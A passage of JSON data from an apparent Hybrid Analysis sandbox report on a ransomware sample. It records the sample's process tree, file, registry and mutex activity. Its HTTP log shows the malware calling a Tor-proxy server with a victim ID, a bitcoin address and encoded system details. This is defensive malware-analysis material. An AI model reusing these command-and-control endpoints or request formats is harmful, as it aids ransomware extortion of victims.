States","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]}],"http_requests":[{"host":"24fkxhnr3cdtvwmy.onion.to","host_ip":"217.197.83.197:80","url":"/wrap1.php?btc=&wid=e47c61d2-1dae-480e-827a-ae8d797649df:null:TWljcm9zb2Z0IFdpbmRvd3MgNyBIb21lIFByZW1pdW0gU2VydmljZSBQYWNrIDE=","method":"GET","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"host":"aia.startssl.com","host_ip":"23.3.98.32:80","url":"/certs/ca.crt","method":"GET","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"host":"24fkxhnr3cdtvwmy.onion.to","host_ip":"217.197.83.197:80","url":"/wrap1.php?btc=18QYWTBsq6MBmQ1AFwj8e18J7LXB2KUZkr&wid=e47c61d2-1dae-480e-827a-ae8d797649df:null:TWljcm9zb2Z0IFdpbmRvd3MgNyBIb21lIFByZW1pdW0gU2VydmljZSBQYWNrIDE=","method":"GET","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}],"processes":[{"pid":9440,"ppid":0,"name":"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe","command_line":"","sha256":"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de","normalized_path":"C:\\d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe","uid":"00000000-00009440","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAACKElEQVR4Xu2RyW4TURBFvfEcB8f8AiwRv0UAA3E8ZERhSJiHsLCUFZK/gwAmTQYyAMYMhgASn+FNUVWvX3enKk/uTeRISUtHbnlxz73VicTpc+KfRq0CU/XJoUDuhPzzKPA879Bfggv0+/2hcPwKtFotaDabDL3b/y++/AdnX/xF/kBpGXn+G9mH0jPiF4w9RZ78hLHHRA+Kj3pwYWV/YK4q4KK0TMJQysJA2gukxYffofggROZI4hc4dOUPFBK+8P43OEPc+8qMLnVVjkQVcJ3KLjUrHdIllC5+MdwlOgNzVQEX4Wmt0Eq7ESFyp4N8hsJt5NYnlSOJXSBc2TUsdiPCDgtHWYosfISRm8SeypGoAq5TydMWIiuZQIrM78HI3C4zKFcVcBFdqqQknN9l8rM7PtuQn9lWOZLYBQIhUgikdukOyyy56Q+Qm0IaWypHogq4ThVdmichrbRSFm4ZUJqrb0K2tsFIoUQVcEFL7Vnz03alL2SpEWZr65CtIpPvGZkjiV2AVh5YSiutlIQ+mYoHmQlijZE5ElXA9QlyDSMMlloprsxUCF96Yw3S198ZrrWVUKIKuLDSjH/aQMhSKzTSdPktpK4Sb1SOJH4BEvvSNK0MpG1IoTBdbrOQufIaUpeR8VWVI1EFXJ+ATyukLGahla5Ccpx4BclLBimUqAIuzi9smpXlgyuTLA2FUc7NeCpHErvAUXE8CtSrE/wyDOpVLHD6nPjnPyIPUCMAVciHAAAAAElFTkSuQmCC"},{"pid":10084,"ppid":9440,"name":"fondue.exe","command_line":"/enable-feature:NetFx3 /caller-name:mscoreei.dll","sha256":"d61b30a1229479227788ba58efc2648a5faa02f522ae1d24cc9c9dc052a28945","normalized_path":"%WINDIR%\\system32\\fondue.exe","parent_uid":"00000000-00009440","uid":"00000000-00010084"},{"pid":5684,"ppid":10084,"name":"OptionalFeatures.EXE","command_line":"/enable-feature:NetFx3 /caller-name:mscoreei.dll","sha256":"7e268e84be367e28d1d97637cc1e024e7740b04c61a21b76021a315d60b535a9","normalized_path":"%WINDIR%\\system32\\OptionalFeatures.EXE","parent_uid":"00000000-00010084","uid":"00000000-00005684"}],"all_imported_dlls":["VxSSL64.dll","rpcrt4.dll","sechost.dll","apphelp.dll","gdi32.dll","xmllite.dll","windows.storage.dll","edputil.dll","virtdisk.dll","profapi.dll","userenv.dll","ServicingCommon.dll","ucrtbase.dll","bcryptprimitives.dll","TextShaping.dll","clbcatq.dll","WinTypes.dll","mpr.dll","iertutil.dll","AppResolver.dll","shell32.dll","npmproxy.dll","advapi32.dll","mscoreei.dll","SHCore.dll","bcrypt.dll","user32.dll","imm32.dll","kernel.appcore.dll","Windows.StateRepositoryPS.dll","sfc_os.dll","TextInputFramework.dll","shlwapi.dll","version.dll","msi.dll","duser.dll","dwmapi.dll","cfgmgr32.dll","BCP47Langs.dll","fltLib.dll","gdi32full.dll","cryptsp.dll","ws2_32.dll","CbsApi.dll","combase.dll","uxtheme.dll","msctf.dll","oleacc.dll","wldp.dll","cryptbase.dll","ole32.dll","oleaut32.dll","urlmon.dll","pcacli.dll","ntdll.dll","msvcp_win.dll","propsys.dll","netprofm.dll","sspicli.dll","CoreUIComponents.dll","msvcrt.dll","osbaseln.dll","comctl32.dll","netutils.dll","win32u.dll","atlthunk.dll","CoreMessaging.dll","srvcli.dll","OneCoreUAPCommonProxyStub.dll","mscoree.dll","kernel32.dll","KernelBase.dll","VERSION.dll","SHLWAPI.dll","NLAapi.dll","iphlpapi.DLL","SETUPAPI.dll","mscorwks.dll","CLBCatQ.DLL","System.Xml.ni.dll","ntmarta.dll","rasman.dll","rasadhlp.dll","DEVOBJ.dll","CFGMGR32.dll","System.ni.dll","System.Windows.Forms.ni.dll","SXS.DLL","System.Drawing.ni.dll","wship6.dll","CRYPT32.dll","winhttp.dll","secur32.dll","ncrypt.dll","mshtml.dll","GDI32.dll","USP10.dll","RASAPI32.dll","sensapi.dll","dnsapi.DLL","winrnr.dll","dhcpcsvc.DLL","PSAPI.DLL","USERENV.dll","NSI.dll","rsaenh.dll","RpcRtRemote.dll","napinsp.dll","dhcpcsvc6.DLL","schannel.DLL","cryptnet.dll","DEVRTL.dll","LPK.dll","OLEAUT32.dll","CRYPTBASE.dll","pnrpnsp.dll","wshtcpip.dll","credssp.dll","security.dll","Cabinet.dll","rtutils.dll","IMM32.DLL","KERNELBASE.dll","ADVAPI32.dll","mswsock.dll","MLANG.dll","MSCTF.dll","mscorlib.ni.dll","CRYPTSP.dll","Normaliz.dll","System.Configuration.ni.dll","culture.dll","diasymreader.dll","MSCOREE.DLL","shfolder.dll","ieframe.dll","GPAPI.dll","WININET.dll","KERNEL32.dll","gdiplus.dll","ws2_32.DLL","wintrust.dll","USER32.dll","RPCRT4.dll","mscorjit.dll","fwpuclnt.dll","T2EMBED.DLL","SspiCli.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"font-awesome.min[1].css","sha256":"936ffccdc35bc55221e669d0e76034af76ba8c080c1b1149144dbbd3b5311829","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"name":"getting-started[1].htm","sha256":"f612bdda7dfd632d2ee5ba408f86fcd80a005e7404bcd3274e11726520b23078","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"name":"fontawesome-webfont[1].eot","sha256":"d4f5a99224154f2a808e42a441ddc9248ffe78b7a4083684ce159270b30b912a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"name":"94308059B57B3142E455B38A6EB92015","sha256":"9019930d2770666d2727007b8a58232a2e3284df682518a40f5ee123dd49a8f8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"name":"C1F94CD5CA263ECFB1A4BAB1B832C909","sha256":"a1ac5cbf27d7773ae672fedfccaad4b69c8451788a94b77e8b0dd9a5bcb69e72","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"name":"Cab3639.tmp","sha256":"3d5564a752a73b7e4b044144f93c4a649ff37a6a6ab9a3a745975fe4eb1f514c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"name":"Cab3698.tmp","sha256":"3d5564a752a73b7e4b044144f93c4a649ff37a6a6ab9a3a745975fe4eb1f514c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"name":"Cab4B8A.tmp","sha256":"a300bd739f69c1af1d686c88dc0c0d45957f34822b6df69a42070de2dfa70b99","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"name":"Tar3649.tmp","sha256":"da1df45dcd494958f8cc5feabb934f1e39466654d674012450ae9e3160733792","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"name":"Tar3699.tmp","sha256":"da1df45dcd494958f8cc5feabb934f1e39466654d674012450ae9e3160733792","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"name":"Tar4B8B.tmp","sha256":"99c5a557900b23a4b655aad969ca3c08c57b6849ec709ac5295325afe014bb55","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"name":"carved_0.crt","sha256":"c766a9bef2d4071c863a31aa4920e813b2d198608cb7b7cfe21143b836df09ea","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]}],"files_written":[{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\clr.dll","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\clr.dll","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\clr.dll","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%SAMPLEDIR%\\d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe.config","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\enterprisesec.config","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\enterprisesec.config.cch","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\index137.dat","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\system32\\l_intl.nls","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%SAMPLEDIR%\\","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\assembly\\pubpol15.dat","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%LOCALAPPDATA%\\GDIPFONTCACHEV1.DAT","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\FONTS\\MICROSS.TTF","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\FONTS\\TAHOMA.TTF","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\FONTS\\MSJH.TTF","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\FONTS\\MSYH.TTF","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\FONTS\\MALGUN.TTF","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\FONTS\\SEGOEUI.TTF","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\Fonts\\staticcache.dat","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\System32\\ieframe.dll","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\system32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\system32\\en-US\\urlmon.dll.mui","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"C:\\Users\\PSPUBWS","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"Nsi","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"\\Device\\NetBT_Tcpip6_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"\\Device\\NetBT_Tcpip6_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"\\Device\\NetBT_Tcpip6_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"\\Device\\NetBT_Tcpip_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"\\Device\\Afd\\AsyncConnectHlp","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\E9S7QCHY\\getting-started[1].htm","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\system32\\en-US\\winhttp.dll.mui","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"\\Device\\RasAcd","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\C1F94CD5CA263ECFB1A4BAB1B832C909","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\C1F94CD5CA263ECFB1A4BAB1B832C909","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"\\Device\\Afd\\Endpoint","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\D0YDZTO5\\97eadabc73ae117b9ba9260c246249ca[1].css","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\D0YDZTO5\\font-awesome.min[1].css","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"\\SystemRoot\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\dw20.exe","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\mscorrc.dll","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\System.Windows.Forms\\2.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\System.Windows.Forms.pdb","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\System.Windows.Forms\\2.0.0.0__b77a5c561934e089\\System.Windows.Forms.pdb","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\dll\\System.Windows.Forms.pdb","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%WINDIR%\\symbols\\dll\\System.Windows.Forms.pdb","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%SAMPLEDIR%\\d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\S9Y0GKU4\\fontawesome-webfont[1].eot","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\AUTHROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\AUTHROOT\\CERTIFICATES\\3E2BF7F2031B96F38CE6C4D8A85D3E2D58476A0F\\","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\FUSION\\GACCHANGENOTIFICATION\\DEFAULT\\","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\GDIPLUS\\","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\POLICIES\\SYSTEM\\","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\AUTHROOT\\CERTIFICATES\\3E2BF7F2031B96F38CE6C4D8A85D3E2D58476A0F\\3E2BF7F2031B96F38CE6C4D8A85D3E2D58476A0F","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:9440:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"name":"Local\\SM0:9440:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"name":"IESQMMUTEX_0_208","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"name":"Local\\!IETld!Mutex","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"name":"Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"name":"Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"name":"Local\\_!MSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"name":"Local\\c:!users!pspubws!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"name":"Local\\c:!users!pspubws!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"name":"Local\\c:!users!pspubws!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"name":"Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"name":"Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"name":"Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"name":"Global\\.net clr networking","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]}]}},"report_ids":{"sandbox_job_ids":["56985fbf0e316d4128e3ab78","67881653cf38068bc40da246"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Gen:Ransom.REntS.Generic Sample d7fea3a447e1… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample d7fea3a447e1…. Malware family: Gen:Ransom.REntS.Generic. Threat score 100/100. 18/24 AV engines flagged this file. 11 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de"}],["$","meta","4",{"property":"og:title","content":"Malicious Gen:Ransom.REntS.Generic Sample d7fea3a447e1… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample d7fea3a447e1…. Malware family: Gen:Ransom.REntS.Generic. Threat score 100/100. 18/24 AV engines flagged this file. 11 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Gen:Ransom.REntS.Generic Sample d7fea3a447e1… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample d7fea3a447e1…. Malware family: Gen:Ransom.REntS.Generic. Threat score 100/100. 18/24 AV engines flagged this file. 11 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L32","11",{}]]